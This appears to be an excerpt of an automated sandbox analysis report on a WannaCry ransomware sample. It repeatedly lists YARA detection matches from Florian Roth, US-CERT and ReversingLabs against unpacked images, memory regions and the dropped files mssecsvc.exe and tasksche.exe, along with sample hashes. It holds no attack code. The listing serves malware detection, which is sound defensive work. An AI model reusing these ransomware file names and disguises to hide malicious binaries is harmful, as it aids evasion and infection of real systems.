          Source: 6.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: 6.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 6.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
          Source: 4.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: 4.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 4.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
          Source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
          Source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 6.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: 6.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 6.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
          Source: 6.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: 6.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 6.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
          Source: 6.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: 6.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 6.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
          Source: 6.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: 6.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 6.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
          Source: 6.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: 6.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
          Source: 6.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 10.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: 10.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 10.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
          Source: 6.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: 6.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 6.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
          Source: 10.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: 10.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 10.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
          Source: 22.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: 22.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 22.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
          Source: 10.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: 10.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 10.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
          Source: 4.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: 4.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 4.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
          Source: 4.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: 4.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 4.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
          Source: 6.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: 6.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 6.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
          Source: 4.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: 4.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 4.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
          Source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
          Source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 4.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: 4.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 4.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
          Source: 4.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: 4.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 4.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
          Source: 6.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: 6.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
          Source: 6.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 22.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: 22.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 22.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
          Source: 6.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: 6.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 6.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
          Source: 4.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: 4.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 4.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
          Source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
          Source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 10.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: 10.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
          Source: 10.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 4.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: 4.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 4.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
          Source: 10.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: 10.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 10.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
          Source: 4.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: 4.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 4.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
          Source: 4.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: 4.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 4.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
          Source: 6.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: 6.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
          Source: 6.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 6.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: 6.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 6.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
          Source: 6.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: 6.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
          Source: 6.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 6.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: 6.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 6.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
          Source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
          Source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
          Source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 10.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: 10.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
          Source: 10.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 6.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: 6.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
          Source: 6.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 00000016.00000002.538519387.000000000040E000.00000008.00000001.01000000.00000007.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 00000016.00000000.532937600.000000000040E000.00000008.00000001.01000000.00000007.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 00000006.00000000.460451882.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 0000000A.00000000.464940003.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 00000004.00000002.773404878.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 00000006.00000000.455126478.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 0000000A.00000002.567404707.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 00000004.00000000.452965577.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 00000006.00000002.541711223.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 00000004.00000000.457156130.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 00000006.00000000.457229405.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 00000004.00000000.449494813.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 00000004.00000000.454576802.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: 00000006.00000000.452944820.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: C:\Windows\tasksche.exe, type: DROPPEDMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: C:\Windows\tasksche.exe, type: DROPPEDMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: C:\Windows\tasksche.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
          Source: C:\Windows\mssecsvc.exe, type: DROPPEDMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
          Source: C:\Windows\mssecsvc.exe, type: DROPPEDMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
          Source: C:\Windows\mssecsvc.exe, type: DROPPEDMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
          Source: tct5NKwZY8.dllStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DLL
          Source: tct5NKwZY8.dll, type: SAMPLEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: tct5NKwZY8.dll, type: SAMPLEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 6.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: 6.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 6.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
          Source: 4.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: 4.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 4.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
          Source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
          Source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 6.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: 6.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 6.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
          Source: 6.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: 6.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 6.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
          Source: 6.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: 6.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 6.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
          Source: 6.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: 6.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 6.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
          Source: 6.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: 6.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
          Source: 6.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
          Source: 10.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
          Source: 10.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
